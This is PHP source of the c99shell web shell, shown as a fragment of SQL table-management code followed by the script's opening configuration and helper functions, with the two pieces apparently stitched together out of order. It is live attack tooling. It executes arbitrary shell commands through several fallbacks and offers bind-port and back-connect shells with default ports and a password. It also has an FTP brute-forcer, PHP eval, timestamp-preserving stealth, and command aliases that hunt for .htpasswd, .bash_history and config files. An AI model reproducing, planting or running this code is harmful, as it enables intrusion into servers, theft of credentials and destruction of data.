      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
      echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
      echo "<tr>";
      echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
      for ($i=0;$i<mysql_num_fields($result);$i++)
      {
       $v = mysql_field_name($result,$i);
       if ($e[0] == "a") {$s = "d"; $m = "asc";}
       else {$s = "a"; $m = "desc";}
       echo "<td>";
       if (empty($e[0])) {$e[0] = "a";}
       if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
       else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\">[sort]</a>";}
       echo "</td>";
      }
      echo "<td><font color=\"green\"><b>Action</b></font></td>";
      echo "</tr>";
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
      {
       echo "<tr>";
       $w = "";
       $i = 0;
       foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
       if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
       echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
       $i = 0;
       foreach ($row as $k=>$v)
       {
        $v = htmlspecialchars($v);
        if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
        echo "<td>".$v."</td>";
        $i++;
       }
       echo "<td>";
       echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">[Delete]</a>&nbsp;";
       echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><b>[Edit]</b></a>&nbsp;";
       echo "</td>";
       echo "</tr>";
      }
      mysql_free_result($result);
      echo "</table><hr size=\"1\" noshade><p align=\"left\">^<select name=\"sql_act\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"deleterow\">Delete</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
     }
    }
    else
    {
     $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
     if (!$result) {echo mysql_smarterror();}
     else
     {
      echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
      $i = 0;
      $tsize = $trows = 0;
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
      {
       $tsize += $row["Data_length"];
       $trows += $row["Rows"];
       $size = view_size($row["Data_length"]);
       echo "<tr>";
       echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
       echo "<td>".$row["Rows"]."</td>";
       echo "<td>".$row["Type"]."</td>";
       echo "<td>".$row["Create_time"]."</td>";
       echo "<td>".$row["Update_time"]."</td>";
       echo "<td>".$size."</td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\">[Empty]</a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\">[Drop]</a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><b>[Insert]</b></a>&nbsp;</td>";
       echo "</tr>";
       $i++;
      }
      echo "<tr bgcolor=\"000000\">";
      echo "<td><center><b>»</b></center></td>";
      echo "<td><center><b>".$i." table(s)</b></center></td>";
      echo "<td><b>".$trows."</b></td>";
      echo "<td>".$row[1]."</td>";
      echo "<td>".$row[10]."</td>";
      echo "<td>".$row[11]."</td>";
      echo "<td><b>".view_size($tsize)."</b></td>";
      echo "<td></td>";
      echo "</tr>";
      echo "</table><hr size=\"1\" noshade><p align=\"right\">^<select name=\"sql_act\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"tbldrop\">Drop</option>";
      echo "<option value=\"tblempty\">Empty</option>";
      echo "<option value=\"tbldump\">Dump</option>";
      echo "<option value=\"tblcheck\">Check table</option>";
      echo "<option value=\"tbloptimize\">Optimize table</option>";
      echo "<option value=\"tblrepair\">Repair table</option>";
      echo "<option value=\"tblanalyze\">Analyze table</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
      mysql_free_result($result);
     }
    }
   }
   }
  }
  else
  {
   $acts = array("","newdb","serverstatus","servervars","processes","getfile");
   if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
   if (!empty($sql_act))
   {
    echo "<hr size=\"1\" noshade>";
    if ($sql_act == "newdb")
    {
     echo "<b>";
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
    }
    if ($sql_act == "serverstatus")
    {
     $result = mysql_query("SHOW STATUS", $sql_sock);
     echo "<center><b>Server-status variables:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
     echo "</table></center>";
     mysql_free_result($result);
    }
    if ($sql_act == "servervars")
    {
     $result = mysql_query("SHOW VARIABLES", $sql_sock);
     echo "<center><b>Server variables:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_act == "processes")
    {
     if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
     $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
     echo "<center><b>Processes:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>

<?php
//Starting calls
if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
if (!function_exists("file_get_contents")) { function file_get_contents($filename){ $handle = fopen($filename, "r"); $retval = fread($handle, filesize($filename)); fclose($handle);return $retval;}}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
$win = strtolower(substr(PHP_OS,0,3)) == "win";
define("starttime",getmicrotime());
if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}

$shver = "1.0 pre-release build #17"; //Current version
//CONFIGURATION AND SETTINGS
if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
}

$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.

if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
if (empty($surl))
{
 $surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);

$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited.

//Authentication
$login = ""; //login
//DON'T FORGOT ABOUT PASSWORD!!!
$pass = ""; //password
$md5_pass = ""; //md5-cryped pass. if null, md5($pass)

$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
$login_txt = "Restricted area"; //http-auth message.
$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";

$gzipencode = TRUE; //Encode with gzip?

$filestealth = TRUE; //if TRUE, don't change modify- and access-time

$donated_html = "<center><b>donated_html</b></center>";
/* If you publish free shell and you wish
add link to your site or any other information,
put here your html. */
$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.

$curdir = "./"; //start folder
//$curdir = getenv("DOCUMENT_ROOT");
$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)

$log_email = "prozente@gmail.com"; //Default e-mail for sending logs

$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
$sort_save = TRUE; //If TRUE then save sorting-position using cookies.

// Registered file-types.
//  array(
//   "{action1}"=>array("ext1","ext2","ext3",...),
//   "{action2}"=>array("ext4","ext5","ext6",...),
//   ...
//  )
$ftypes  = array(
 "html"=>array("html","htm","shtml"),
 "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
 "exe"=>array("sh","install","bat","cmd"),
 "ini"=>array("ini","inf"),
 "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
 "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
 "sdb"=>array("sdb"),
 "phpsess"=>array("sess"),
 "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);

// Registered executable file-types.
//  array(
//   string "command{i}"=>array("ext1","ext2","ext3",...),
//   ...
//  )
//   {command}: %f% = filename
$exeftypes  = array(
 getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
 "perl %f%" => array("pl","cgi")
);

/* Highlighted files.
  array(
   i=>array({regexp},{type},{opentag},{closetag},{break})
   ...
  )
  string {regexp} - regular exp.
  int {type}:
0 - files and folders (as default),
1 - files only, 2 - folders only
  string {opentag} - open html-tag, e.g. "<b>" (default)
  string {closetag} - close html-tag, e.g. "</b>" (default)
  bool {break} - if TRUE and found match then break
*/
$regxp_highlight  = array(
  array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  array("config.php",1) // example
);

$safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
 // array (i=>{letter} ...); string {letter} - letter of a drive
//$safemode_diskettes = range("a","z");
$hexdump_lines = 8;// lines in hex preview file
$hexdump_rows = 24;// 16, 24 or 32 bytes in one line

$nixpwdperpage = 100; // Get first N lines from /etc/passwd

$bindport_pass = "c99";  // default password for binding
$bindport_port = "31373"; // default port for binding
$bc_port = "31373"; // default port for back-connect
$datapipe_localport = "8081"; // default port for datapipe

// Command-aliases
if (!$win)
{
 $cmdaliases = array(
  array("-----------------------------------------------------------", "ls -la"),
  array("find all suid files", "find / -type f -perm -04000 -ls"),
  array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  array("find all sgid files", "find / -type f -perm -02000 -ls"),
  array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  array("find config.inc.php files", "find / -type f -name config.inc.php"),
  array("find config* files", "find / -type f -name \"config*\""),
  array("find config* files in current dir", "find . -type f -name \"config*\""),
  array("find all writable folders and files", "find / -perm -2 -ls"),
  array("find all writable folders and files in current dir", "find . -perm -2 -ls"),
  array("find all service.pwd files", "find / -type f -name service.pwd"),
  array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  array("find all .bash_history files", "find / -type f -name .bash_history"),
  array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  array("list file attributes on a Linux second extended file system", "lsattr -va"),
  array("show opened ports", "netstat -an | grep -i listen")
 );
}
else
{
 $cmdaliases = array(
  array("-----------------------------------------------------------", "dir"),
  array("show opened ports", "netstat -an")
 );
}

$sess_cookie = "c99shvars"; // Cookie-variable name

$usefsbuff = TRUE; //Buffer-function
$copy_unset = FALSE; //Remove copied files from buffer after pasting

//Quick launch
$quicklaunch = array(
 array("<hr><b>[Home]</b>",$surl),
 array("<b>[Back]</b>","#\" onclick=\"history.back(1)"),
 array("<b>[Forward]</b>","#\" onclick=\"history.go(1)"),
 array("<b>[UPDIR]</b>",$surl."act=ls&d=%upd&sort=%sort"),
 array("<b>[Refresh]</b>",""),
 array("<b>[Search]</b>",$surl."act=search&d=%d"),
 array("<b>[Buffer]</b>",$surl."act=fsbuff&d=%d"),
 array("<b>[Encoder]</b></b>",$surl."act=encoder&d=%d"),
 array("<b>[Tools]</b>",$surl."act=tools&d=%d"),
 array("<b>[Proc.]</b>",$surl."act=processes&d=%d"),
 array("<b>[FTP brute]</b>",$surl."act=ftpquickbrute&d=%d"),
 array("<b>[Sec.]</b>",$surl."act=security&d=%d"),
 array("<b>[SQL]</b>",$surl."act=sql&d=%d"),
 array("<b>[PHP-code]</b>",$surl."act=eval&d=%d"),
 array("<b>[Self remove]</b>",$surl."act=selfremove"),
 array("<b>[Logout]</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
);

//Highlight-code colors
$highlight_background = "#c0c0c0";
$highlight_bg = "#FFFFFF";
$highlight_comment = "#6A6A6A";
$highlight_default = "#0000BB";
$highlight_html = "#1300FF";
$highlight_keyword = "#007700";
$highlight_string = "#000000";

@$f = $_REQUEST["f"];
@extract($_REQUEST["c99shcook"]);

//END CONFIGURATION


// \/Next code isn't for editing\/
@set_time_limit(0);
$tmp = array();
foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
$s = "!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
if (!empty($login))
{
 if (empty($md5_pass)) {$md5_pass = md5($pass);}
 if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
 {
  if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  header("HTTP/1.0 401 Unauthorized");
  exit($accessdeniedmess);
 }
}
if ($act != "img"){
$lastdir = realpath(".");
chdir($curdir);
if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;}
$sess_data = unserialize($_COOKIE["$sess_cookie"]);
if (!is_array($sess_data)) {$sess_data = array();}
if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}

$disablefunc = @ini_get("disable_functions");
if (!empty($disablefunc))
{
 $disablefunc = str_replace(" ","",$disablefunc);
 $disablefunc = explode(",",$disablefunc);
}

if (!function_exists("c99_buff_prepare"))
{
function c99_buff_prepare()
{
 global $sess_data;
 global $act;
 foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
 foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
 $sess_data["copy"] = array_unique($sess_data["copy"]);
 $sess_data["cut"] = array_unique($sess_data["cut"]);
 sort($sess_data["copy"]);
 sort($sess_data["cut"]);
 if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
 else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
}
}
c99_buff_prepare();
if (!function_exists("c99_sess_put"))
{
function c99_sess_put($data)
{
 global $sess_cookie;
 global $sess_data;
 c99_buff_prepare();
 $sess_data = $data;
 $data = serialize($data);
 setcookie($sess_cookie,$data);
}
}
foreach (array("sort","sql_sort") as $v)
{
 if (!empty($_GET[$v])) {$$v = $_GET[$v];}
 if (!empty($_POST[$v])) {$$v = $_POST[$v];}
}
if ($sort_save)
{
 if (!empty($sort)) {setcookie("sort",$sort);}
 if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
}
if (!function_exists("str2mini"))
{
function str2mini($content,$len)
{
 if (strlen($content) > $len)
 {
  $len = ceil($len/2) - 2;
  return substr($content, 0,$len)."...".substr($content,-$len);
 }
 else {return $content;}
}
}
if (!function_exists("view_size"))
{
function view_size($size)
{
 if (!is_numeric($size)) {return FALSE;}
 else
 {
  if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  else {$size = $size . " B";}
  return $size;
 }
}
}
if (!function_exists("fs_copy_dir"))
{
function fs_copy_dir($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
 $h = opendir($d);
 while (($o = readdir($h)) !== FALSE)
 {
  if (($o != ".") and ($o != ".."))
  {
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   if (!$ret) {return $ret;}
  }
 }
 closedir($h);
 return TRUE;
}
}
if (!function_exists("fs_copy_obj"))
{
function fs_copy_obj($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
 if (!is_dir(dirname($t))) {mkdir(dirname($t));}
 if (is_dir($d))
 {
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  return fs_copy_dir($d,$t);
 }
 elseif (is_file($d)) {return copy($d,$t);}
 else {return FALSE;}
}
}
if (!function_exists("fs_move_dir"))
{
function fs_move_dir($d,$t)
{
 $h = opendir($d);
 if (!is_dir($t)) {mkdir($t);}
 while (($o = readdir($h)) !== FALSE)
 {
  if (($o != ".") and ($o != ".."))
  {
   $ret = TRUE;
   if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
   else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
   if (!$ret) {return $ret;}
  }
 }
 closedir($h);
 return TRUE;
}
}
if (!function_exists("fs_move_obj"))
{
function fs_move_obj($d,$t)
{
 $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
 $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
 if (is_dir($d))
 {
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  return fs_move_dir($d,$t);
 }
 elseif (is_file($d))
 {
  if(copy($d,$t)) {return unlink($d);}
  else {unlink($t); return FALSE;}
 }
 else {return FALSE;}
}
}
if (!function_exists("fs_rmdir"))
{
function fs_rmdir($d)
{
 $h = opendir($d);
 while (($o = readdir($h)) !== FALSE)
 {
  if (($o != ".") and ($o != ".."))
  {
   if (!is_dir($d.$o)) {unlink($d.$o);}
   else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  }
 }
 closedir($h);
 rmdir($d);
 return !is_dir($d);
}
}
if (!function_exists("fs_rmobj"))
{
function fs_rmobj($o)
{
 $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
 if (is_dir($o))
 {
  if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  return fs_rmdir($o);
 }
 elseif (is_file($o)) {return unlink($o);}
 else {return FALSE;}
}
}
if (!function_exists("myshellexec"))
{
function myshellexec($cmd)
{
 global $disablefunc;
 $result = "";
 if (!empty($cmd))
 {
  if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  elseif (($result = `$cmd`) !== FALSE) {}
  elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  elseif (is_resource($fp = popen($cmd,"r")))
  {
   $result = "";
   while(!feof($fp)) {$result .= fread($fp,1024);}
   pclose($fp);
  }
 }
 return $result;
}
}
if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
if (!function_exists("view_perms"))
{
function view_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$type = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
 elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
 else {$type = "?";}

 $owner["read"] = ($mode & 00400)?"r":"-";
 $owner["write"] = ($mode & 00200)?"w":"-";
 $owner["execute"] = ($mode & 00100)?"x":"-";
 $group["read"] = ($mode & 00040)?"r":"-";
 $group["write"] = ($mode & 00020)?"w":"-";
 $group["execute"] = ($mode & 00010)?"x":"-";
 $world["read"] = ($mode & 00004)?"r":"-";
 $world["write"] = ($mode & 00002)? "w":"-";
 $world["execute"] = ($mode & 00001)?"x":"-";

 if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
 if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
 if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}

 return $type.join("",$owner).join("",$group).join("",$world);
}
}
if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
if (!function_exists("parse_perms"))
{
function parse_perms($mode)
{
 if (($mode & 0xC000) === 0xC000) {$t = "s";}
 elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
 elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
 elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
 elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
 elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
 elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
 else {$t = "?";}
 $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
 $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
 $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
 return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
}
}
if (!function_exists("parsesort"))
{
function parsesort($sort)
{
 $one = intval($sort);
 $second = substr($sort,-1);
 if ($second != "d") {$second = "a";}
 return array($one,$second);
}
}
if (!function_exists("view_perms_color"))
{
function view_perms_color($o)
{
 if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
 elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
 else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
}
}
if (!function_exists("c99getsource"))
{
function c99getsource($fn)
{
 global $c99sh_sourcesurl;
 $array = array(
  "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
  "c99sh_bindport.c" => "c99sh_bindport_c.txt",
  "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
  "c99sh_backconn.c" => "c99sh_backconn_c.txt",
  "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
  "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
 );
 $name = $array[$fn];
 if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
 else {return FALSE;}
}
}

if (!function_exists("mysql_dump")){
function mysql_dump($set)
{
 global $shver;
 $sock = $set["sock"];
 $db = $set["db"];
 $print = $set["print"];
 $nl2br = $set["nl2br"];
 $file = $set["file"];
 $add_drop = $set["add_drop"];
 $tabs = $set["tabs"];
 $onlytabs = $set["onlytabs"];
 $ret = array();
 $ret["err"] = array();
 if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
 if (empty($db)) {$db = "db";}
 if (empty($print)) {$print = 0;}
 if (empty($nl2br)) {$nl2br = 0;}
 if (empty($add_drop)) {$add_drop = TRUE;}
 if (empty($file))
 {
